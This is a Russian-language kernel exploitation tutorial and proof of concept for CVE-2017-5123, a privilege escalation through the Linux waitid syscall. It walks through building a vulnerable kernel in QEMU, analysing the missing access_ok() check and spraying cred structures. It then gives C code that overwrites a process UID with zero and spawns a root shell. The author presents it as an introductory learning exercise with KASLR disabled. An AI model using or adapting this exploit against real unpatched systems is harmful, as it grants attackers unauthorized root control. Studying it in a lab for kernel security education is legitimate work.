## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C3R34LK1LL3R-CVE-2017-5123
# CVE-2017-5123
PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR
> Реализация waitid в ванильных ядрах не ограничивала целевое назначение для копирования информации о результатах. Это может позволить локальным пользователям записывать в защищённую память ядра, что может привести к повышению привилегий.
## Введение
В этом небольшом руководстве я проанализирую уязвимость ядра, которая позволяет получить привилегии _root_.
Данный файл разделён на четыре части:
1. Настройка VM;
2. Анализ уязвимости;
3. Эксплуатация;
4. PoC.
Хочу отметить, что существуют гораздо лучшие способы эксплуатации этой CVE (действительно, это всего лишь _PoC_ для изучения ядра, его нельзя использовать _в реальных условиях_), но я считаю, что данная методология может быть полезна как введение в эксплуатацию ядра.
## Настройка VM
### Сборка ядра
Эта уязвимость была внедрена в коммите _4c48abe91be0_ , поэтому нам нужно собрать эту версию ядра.
Это может быть немного сложно, так как это старая версия, и код должен быть пропатчен. Я сделал репозиторий с уже пропатченным кодом ядра и файлом `.config`, так что вы можете _клонировать и собрать_.
root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
Обратите внимание, что это ядро будет собрано с драйверами _virtio_ , так что вы сможете использовать _virtio disk_ для обмена файлами между хостом и VM.
### Настройка Rootfs
Теперь создадим начальную _rootfs_ :
root@kitploit:~
qemu-img create -f raw hda.raw 10G
# Форматируем диск в ext4
mkfs.ext4 ./hda.raw
# Создаём точку монтирования для образа
mkdir /tmp/mount1
# Монтируем диск
sudo mount -o loop ./hda.raw /tmp/mount1
Затем следует установить базовый дистрибутив Linux, например, с помощью `pacstrap` или `debootstrap`.
root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim
Наконец, можем модифицировать систему:
root@kitploit:~
# Добавляем пользователя 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# без пароля
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# мы можем смонтировать virtio-диск для обмена файлами между хостом и гостем
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# Полезно иметь права sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
Если всё в порядке, теперь можно протестировать нашу систему с _qemu_ :
root@kitploit:~
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
## Уязвимость
В описании CVE говорится о неограниченной операции записи во время системного вызова `waitid`.
Откроем `kernel/exit.c` и посмотрим код:
root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
Эта функция довольно проста: после нескольких проверок следуют вызовы `unsafe_put_user(...)` и функция возвращается.
Основная часть функции состоит из вызовов `unsafe_put_user(...)`, поэтому перейдём к ним (`arch/x86/include/asm/uaccess.h`):
root@kitploit:~
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
В комментарии есть **жирное предупреждение** : если вы хотите использовать `unsafe_put/get_user`, вы должны сначала вызвать `access_ok()` и окружить их парой `user_access_begin/end()`.
Если посмотреть на предыдущий код (`waitid`), можно заметить, что `access_ok()` никогда не вызывается, поэтому системный вызов _нарушает_ это _предупреждение_.
Но что это за макросы?
### SMAP/SMEP
_SMAP_ и _SMEP_ — это две функции безопасности, внедрённые в ядро для усложнения написания эксплойтов. Следует отметить, что эти функции реализуются процессором.
_SMEP_ предотвращает **исполнение** пользовательского кода, когда процессор находится в режиме супервизора; _SMAP_ , напротив, блокирует **чтение/запись** в пользовательскую память.
Ядру необходимо читать/записывать данные в/из пользовательской памяти, и это можно сделать двумя способами:
1. существуют функции (например, `copy_from_user`), которые позволяют копировать память в пространство ядра;
2. временно отключить _SMAP_.
Как видно из определения `unsafe_put_user`, эта функция просто копирует значение `x` в память, на которую указывает `ptr` (и переходит к `err_label` в случае ошибки). Мы только что сказали, что ядро не может обращаться к пользовательскому пространству из-за _SMAP_ , и поэтому эти функции следует оборачивать между `user_access_begin/end()`.
root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
Как видим, `user_access_begin/end` — это просто _ASM_ -инструкции `stac` и `clac`.
* `stac`: «Устанавливает флаг AC в регистре EFLAGS. Это может включить проверку выравнивания для доступа к данным в режиме пользователя. Это разрешает явный доступ к пользовательским страницам в режиме супервизора, даже если бит SMAP установлен в регистре CR4.»
* `clac`: «Сбрасывает флаг AC в регистре EFLAGS. Это отключает любую проверку выравнивания для доступа к данным в режиме пользователя. Если бит SMAP установлен в регистре CR4, это запрещает явный доступ к пользовательским страницам в режиме супервизора.»
По сути, эти два макроса включают/отключают _SMAP_.
В нашем предыдущем «предупреждении» также упоминается функция `access_ok`:
root@kitploit:~
/**
* access_ok: - Проверяет, корректен ли указатель на пользовательское пространство
* @type: Тип доступа: %VERIFY_READ или %VERIFY_WRITE. Обратите внимание, что
* %VERIFY_WRITE является надмножеством %VERIFY_READ — если безопасно
* записывать в блок, то всегда безопасно и читать из него.
* @addr: Указатель на пользовательское пространство на начало блока для проверки
* @size: Размер блока для проверки
*
* Контекст: Только пользовательский контекст. Эта функция может засыпать, если
* включены ошибки страниц.
*
* Проверяет, корректен ли указатель на блок памяти в пользовательском пространстве.
*
* Возвращает true (ненулевое значение), если блок памяти может быть корректен,
* false (ноль), если он определённо некорректен.
*
* Обратите внимание, что в зависимости от архитектуры эта функция, вероятно,
* просто проверяет, что указатель находится в диапазоне пользовательского пространства —
* после вызова этой функции функции доступа к памяти всё ещё могут вернуть -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
Комментарий здесь говорит сам за себя: этот макрос проверяет, является ли указатель корректным **пользовательским указателем**.
### Произвольная запись
Давайте ещё раз взглянем на код `waitid`:
root@kitploit:~
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
Как вы уже догадались, отсутствие `access_ok()` приводит к _произвольной записи куда угодно_ в памяти, потому что указатель `infop` полностью контролируется атакующим.
### Вызов ошибки
Очень легко достичь уязвимого пути, и мы можем создать _триггер_ следующим простым кодом:
root@kitploit:~
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // Также можно использовать fork
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // Ждём поток
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
Этот простой код вызовет уязвимость и запишет в память по адресу **where**.
Мы можем использовать _gdb_ , если хотим проверить этот триггер. Например, выберем _произвольный_ адрес и используем функцию `trigger_bug` для его перезаписи.
## Эксплуатация
Эту уязвимость можно эксплуатировать разными способами, но я предпочитаю очень простой подход.
Помните, что мы можем записывать куда угодно, но записываемые данные частично контролируются. Мы можем перезаписать адрес значением **0**.
Основная идея — перезаписать _UID_ нашего процесса и стать _root_ , но сначала нужно понять, что такое учётные данные в Linux.
### Fork
Начнём с изучения системного вызова _fork_. Эта функция используется для создания новых процессов.
Посмотрим код в `kernel/fork.c`:
root@kitploit:~
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
Итак, системный вызов `fork` — это просто обёртка для `_do_fork` с _жёстко заданными_ параметрами.
Эта последняя функция немного длинная, но её можно кратко описать так:
root@kitploit:~
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// Это создаст ещё одну task_struct, но НЕ запустит процесс.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Пробуждает новую задачу. Это переведёт задачу в состояние RUNNING и поставит её в очередь выполнения.
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
Эта функция выделяет новый объект `task_struct`. Хотя эта структура очень важна (она описывает процесс), мы сосредоточимся на поле `cred`:
root@kitploit:~
...
/* Учётные данные процесса: */
/* Учётные данные трассировщика при прикреплении: */
const struct cred __rcu *ptracer_cred;
/* Объективные и реальные субъективные учётные данные задачи (COW): */
const struct cred __rcu *real_cred;
/* Эффективные (переопределяемые) субъективные учётные данные задачи (COW): */
const struct cred __rcu *cred;
...
Как видим, есть (три) указателя на `struct cred`. Посмотрим, как устроена эта структура (`include/linux/cred.h`):
root@kitploit:~
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* количество подписанных процессов */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* реальный UID задачи */
kgid_t gid; /* реальный GID задачи */
kuid_t suid; /* сохранённый UID задачи */
kgid_t sgid; /* сохранённый GID задачи */
kuid_t euid; /* эффективный UID задачи */
kgid_t egid; /* эффективный GID задачи */
kuid_t fsuid; /* UID для операций VFS */
kgid_t fsgid; /* GID для операций VFS */
......
Как видно, _UID_ процесса — это просто _unsigned integer_ (следуя определению _kuid_t_), так что мы можем просто перезаписать это значение на `0`, чтобы стать _root_.
### Copy_process
Структура `task_struct` выделяется в функции `copy_process`, которая довольно сложна и её основная цель — «скопировать» процесс в новый.
Мы можем сосредоточиться на `copy_creds(p, clone_flags)`, которая определена как:
root@kitploit:~
/*
* Копирует учётные данные для нового процесса, созданного fork()
*
* Мы разделяем, если можем, но при некоторых обстоятельствах приходится генерировать новый
* набор.
*
* Новый процесс получает субъективные учётные данные текущего процесса в качестве
* своих объективных и субъективных учётных данных.
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
Как видно, эта функция вызывает `prepare_creds`, где и происходит реальное выделение памяти.
Теперь у нас есть путь для выделения (псевдо)произвольного количества _struct cred_ :
1. `_do_fork()`
2. `copy_process()`
3. `copy_creds()`
Последняя проблема — как вызвать `_do_fork()` из пользовательского пространства. Можно использовать `fork`, но это может быть медленно, поэтому мы будем использовать `clone`.
**Примечание** : мы не можем использовать `pthread` из-за флагов: если посмотреть на код `copy_creds`, можно заметить путь, где структура не выделяется по-настоящему.
## Собираем всё вместе
Теперь небольшое резюме:
1. мы можем вызвать ошибку и записать в память;
2. мы знаем, что можем записать `0` в память;
3. мы знаем, что если перезаписать _UID_ какого-либо процесса на `0`, он получает права _root_.
Теперь нужно знать, **куда** записывать в память, и хотя KASLR отключён, адрес одной `struct cred` недостаточно стабилен, поэтому я решил применить _memory spraying_.
## Spraying
Нам нужно найти `struct cred` в памяти, чтобы определить диапазон адресов. Можно использовать _gdb_ и _python_ со скриптом вроде этого:
root@kitploit:~
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Вставьте имя вашего исполняемого файла
if comm == "exploit":
print(task['cred'])
....
**Примечание** : этот скрипт работает только с отключённым KASLR и с отладочными символами (нужен указатель `init_task`). Можно попробовать несколько раз и заметить, что куча растёт вниз, поэтому можно попробовать нижний адрес и двигаться вверх.
Теперь можно использовать системный вызов `clone` для порождения множества процессов, и с помощью _gdb_ проверить адреса:
root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// Функция spray_thread может быть просто бесконечным циклом
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
**Примечание** : возможно, вы не сможете создать более 4k процессов. Проверьте _ulimits_, если это так.
## PoC
Наконец, напишем наш _PoC_.
Достаточно вызвать `trigger_bug` с разными адресами (в поисках структуры), в то время как наши порождённые потоки будут проверять свой _UID_ , например так:
root@kitploit:~
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Порождённый поток
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Цикл по getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// Если возвращённый UID отличается от предыдущего, значит мы попали в область struct cred
if (uid != previous_one){
printf("WIN!! with %d", uid);
// Убиваем остальные потоки для стабилизации системы
glob_var.one_win = 1;
// Просто запускаем shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
Вероятность попадания в структуру — 50%, так что после нескольких попыток вы получите права _root_.

## Заключение
Это (базовый) _PoC_ , и spraying далёк от совершенства. Это всего лишь «введение» в удивительный мир ядра; я пропустил много концепций, но они чрезвычайно важны (например, управление памятью). Если хотите изучить глубже, загляните в `prepare_creds` и выделение памяти.
KASLR отключён, но эта уязвимость позволяет обойти и эту защиту (`unsafe_put_user` не падает при неверном адресе), но я не считаю, что добавление нового «слоя» брутфорса полезно, если ваша цель — изучить ядро. Если ваша цель — использовать эту уязвимость _в реальных условиях_ , вы должны написать другой эксплойт (как минимум, другой spraying).
Пища для размышлений: я использовал эту уязвимость для понимания и опробования техники `ret2dir` (Подсказка: можно инициировать запись по псевдоадресу, а модификацию читать с пользовательским адресом).
## Ссылки
* https://salls.github.io/Linux-Kernel-CVE-2017-5123/
* https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html